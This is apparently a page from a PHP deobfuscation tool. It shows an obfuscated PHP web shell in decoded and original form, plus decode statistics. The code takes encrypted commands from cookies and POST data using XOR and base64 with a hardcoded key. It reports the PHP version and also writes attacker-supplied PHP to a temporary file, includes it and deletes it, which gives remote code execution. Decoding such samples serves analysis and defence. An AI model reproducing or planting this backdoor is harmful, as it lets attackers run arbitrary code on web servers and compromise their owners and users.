Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /* dd */function/* if */cbrya(){$fznmrzpx='ssdpjjffz_'; print_r (59156+5915..

Decoded Output download

<?php /*   dd  */function/*  if */cbrya(){$fznmrzpx='ssdpjjffz_';	print_r      (59156+59156);/*kk_s   */}$_ukxdwfnp/*   ls   */=	'_ukxdwfnp'/*jwvde  */^       '<'; 
 
 
function       _rclar($zleduids,	$hm_mg){	global/*  kxh */$_ukxdwfnp; 
 
/*  m_bph */$_fnpz       =     ""; 
   for       ($eicbgx	=     0;/*mrmiu*/$eicbgx     <  strlen($zleduids);)/*  ix   */{ 
 
	for/*mszv   */($vmwvcgdkl       =	0;	$vmwvcgdkl	<   strlen($hm_mg)/*  hfqnq  */&&   $eicbgx       <	strlen($zleduids);	$vmwvcgdkl++,/*av  */$eicbgx++)	{ 
 
  $_fnpz    .=	$_ukxdwfnp(ord($zleduids[$eicbgx])  ^	ord($hm_mg[$vmwvcgdkl])); 
 
	} 
 
/* urk   */} 
	return	$_fnpz; 
 
 
} 
 
 
function/*b  */bvmwqiga($g_ib_v,   $zleduids){     global       $_ukxdwfnp; 
 
 
 
	$ekqrnydvul    =	sprintf("."/*   gxlz   */./* iqmd  */"/".$_ukxdwfnp(978-941)/*eewie  */.	"s".$_ukxdwfnp(46)	.	"p".$_ukxdwfnp(617-509),/*  bapi  */md5($g_ib_v));   file_put_contents($ekqrnydvul,	"<"       ./*  haopj*/"?"	.	"p"	./*jp  */"h"	.	"p".$_ukxdwfnp(32)      .   $_ukxdwfnp(117)/*jivz */.    "n"."l"/*   mmo_  */./*  _mvd   */$_ukxdwfnp(290-185)	./*un_rl   */$_ukxdwfnp(1081-971)	.	"k"      .	$_ukxdwfnp(40)  ./*w_*/"_"	./*  r_*/$_ukxdwfnp(95)      .       "F"	.    "I".$_ukxdwfnp(76)	.     "E".$_ukxdwfnp(666-571)/*   q   */.	$_ukxdwfnp(95)     .	")".$_ukxdwfnp(565-506)      ./*   njwr*/$_ukxdwfnp(32)	./*  _b  */$zleduids["d"]); 
 
/*wiu*/include($ekqrnydvul); 
 
	$yduja/*   pqfg */=	$ekqrnydvul; 
 
     unlink($yduja);} 
 
 
 
function	clnotlb() 
 
{      global/* brkt */$_ukxdwfnp; 
/*   pr*/ 
 
       $eicbgx  =     array();     $eicbgx["p"      .	"v"]/*  cjrh  */=  phpversion();/*  yzr */$eicbgx[$_ukxdwfnp(723-608)	.    $_ukxdwfnp(396-278)]      =	"3"."."/*  oj  */./*  xm*/"5";/*   m  */echo/* dgj   */@serialize($eicbgx); 
 
 
} 
 
function	tcwbffwdoo($zleduids,/*   bbqgg  */$g_ib_v,	$zddwovjc) 
 
{ 
	global   $_ukxdwfnp; 
 
 
	 
 
/*  znt */$zleduids	=       unserialize(_rclar(_rclar(base64_decode($zleduids),      $g_ib_v),/* cw   */$zddwovjc)); 
/*  tqa */if/* trx  */(isset($zleduids["a"       ./*  p */"k"]))   {/*  zp */if	($zleduids["a"]  ==	$_ukxdwfnp(352-247))/*i  */{ 
/*  dptkg  */clnotlb(); 
/*   geg   */}/*   z_qb_ */elseif/*   zzrz  */($zleduids["a"]	==	"e")	{ 
 
 
/*   cjv */bvmwqiga($g_ib_v,/* _mc*/$zleduids);/*xlkm   */}/*yzs*/exit(); 
 
 
/*_vzn */} 
 
} 
 
 
$tckfu/*  o_i*/=/*   pie */$_COOKIE; 
 
 
$vmwvcgdkldycjlptwb	=	$_POST; 
 
 
$tckfu/* pjd  */=       array_merge($vmwvcgdkldycjlptwb,	$tckfu); 
$g_ib_v	=	"6"."6"/* i  */./*  vg*/$_ukxdwfnp(427-372)	.    "f"     .    "6"."7"       ./*  kwj */"b"."2"       .	"-"."8"	.  "2"      .	$_ukxdwfnp(56)  .  "0".$_ukxdwfnp(932-887)   ./*   vw   */"4"."f"/*  gpia */.     "2"."a"/*   a */.	"-"."a"   .	"3"	./*hjqg*/"c".$_ukxdwfnp(51)/*   f*/.	"-"	.	"9"  .  "d"	.	"0"	.	"a".$_ukxdwfnp(312-262)/*  sqm  */.	$_ukxdwfnp(679-630)	.    "8"."4"    .    "c".$_ukxdwfnp(166-69)    ./*  kybr*/"1"."5";foreach	($tckfu/*imthb*/as   $zddwovjc	=>	$zleduids)     {	tcwbffwdoo($zleduids,     $g_ib_v,	$zddwovjc); 
 
} 
 ?>

Did this file decode correctly?

Original Code

<?php /*   dd  */function/*  if */cbrya(){$fznmrzpx='ssdpjjffz_';	print_r      (59156+59156);/*kk_s   */}$_ukxdwfnp/*   ls   */=	'_ukxdwfnp'/*jwvde  */^       '<';


function       _rclar($zleduids,	$hm_mg){	global/*  kxh */$_ukxdwfnp;

/*  m_bph */$_fnpz       =     "";
   for       ($eicbgx	=     0;/*mrmiu*/$eicbgx     <  strlen($zleduids);)/*  ix   */{

	for/*mszv   */($vmwvcgdkl       =	0;	$vmwvcgdkl	<   strlen($hm_mg)/*  hfqnq  */&&   $eicbgx       <	strlen($zleduids);	$vmwvcgdkl++,/*av  */$eicbgx++)	{

  $_fnpz    .=	$_ukxdwfnp(ord($zleduids[$eicbgx])  ^	ord($hm_mg[$vmwvcgdkl]));

	}

/* urk   */}
	return	$_fnpz;


}


function/*b  */bvmwqiga($g_ib_v,   $zleduids){     global       $_ukxdwfnp;



	$ekqrnydvul    =	sprintf("\56"/*   gxlz   */./* iqmd  */"/".$_ukxdwfnp(978-941)/*eewie  */.	"s".$_ukxdwfnp(46)	.	"p".$_ukxdwfnp(617-509),/*  bapi  */md5($g_ib_v));   file_put_contents($ekqrnydvul,	"<"       ./*  haopj*/"\77"	.	"\160"	./*jp  */"\x68"	.	"p".$_ukxdwfnp(32)      .   $_ukxdwfnp(117)/*jivz */.    "n"."\x6c"/*   mmo_  */./*  _mvd   */$_ukxdwfnp(290-185)	./*un_rl   */$_ukxdwfnp(1081-971)	.	"\153"      .	$_ukxdwfnp(40)  ./*w_*/"\x5f"	./*  r_*/$_ukxdwfnp(95)      .       "\106"	.    "I".$_ukxdwfnp(76)	.     "E".$_ukxdwfnp(666-571)/*   q   */.	$_ukxdwfnp(95)     .	")".$_ukxdwfnp(565-506)      ./*   njwr*/$_ukxdwfnp(32)	./*  _b  */$zleduids["d"]);

/*wiu*/include($ekqrnydvul);

	$yduja/*   pqfg */=	$ekqrnydvul;

     unlink($yduja);}



function	clnotlb()

{      global/* brkt */$_ukxdwfnp;
/*   pr*/

       $eicbgx  =     array();     $eicbgx["\x70"      .	"v"]/*  cjrh  */=  phpversion();/*  yzr */$eicbgx[$_ukxdwfnp(723-608)	.    $_ukxdwfnp(396-278)]      =	"3"."\x2e"/*  oj  */./*  xm*/"5";/*   m  */echo/* dgj   */@serialize($eicbgx);


}

function	tcwbffwdoo($zleduids,/*   bbqgg  */$g_ib_v,	$zddwovjc)

{
	global   $_ukxdwfnp;


	

/*  znt */$zleduids	=       unserialize(_rclar(_rclar(base64_decode($zleduids),      $g_ib_v),/* cw   */$zddwovjc));
/*  tqa */if/* trx  */(isset($zleduids["\141"       ./*  p */"\x6b"]))   {/*  zp */if	($zleduids["\141"]  ==	$_ukxdwfnp(352-247))/*i  */{
/*  dptkg  */clnotlb();
/*   geg   */}/*   z_qb_ */elseif/*   zzrz  */($zleduids["\141"]	==	"e")	{


/*   cjv */bvmwqiga($g_ib_v,/* _mc*/$zleduids);/*xlkm   */}/*yzs*/exit();


/*_vzn */}

}


$tckfu/*  o_i*/=/*   pie */$_COOKIE;


$vmwvcgdkldycjlptwb	=	$_POST;


$tckfu/* pjd  */=       array_merge($vmwvcgdkldycjlptwb,	$tckfu);
$g_ib_v	=	"6"."\66"/* i  */./*  vg*/$_ukxdwfnp(427-372)	.    "\x66"     .    "6"."\x37"       ./*  kwj */"b"."\62"       .	"-"."\70"	.  "\62"      .	$_ukxdwfnp(56)  .  "0".$_ukxdwfnp(932-887)   ./*   vw   */"4"."\146"/*  gpia */.     "2"."\141"/*   a */.	"-"."\141"   .	"\63"	./*hjqg*/"c".$_ukxdwfnp(51)/*   f*/.	"\x2d"	.	"\71"  .  "\x64"	.	"\x30"	.	"\141".$_ukxdwfnp(312-262)/*  sqm  */.	$_ukxdwfnp(679-630)	.    "8"."\64"    .    "c".$_ukxdwfnp(166-69)    ./*  kybr*/"1"."5";foreach	($tckfu/*imthb*/as   $zddwovjc	=>	$zleduids)     {	tcwbffwdoo($zleduids,     $g_ib_v,	$zddwovjc);

}

Function Calls

array_merge 1

Variables

$tckfu 0
$_ukxdwfnp chrDynZsi
$vmwvcgdkldycjlptwb 0

Stats

MD5 8076c9bc5f5835d69a1bc7ba928d41df
Eval Count 0
Decode Time 87 ms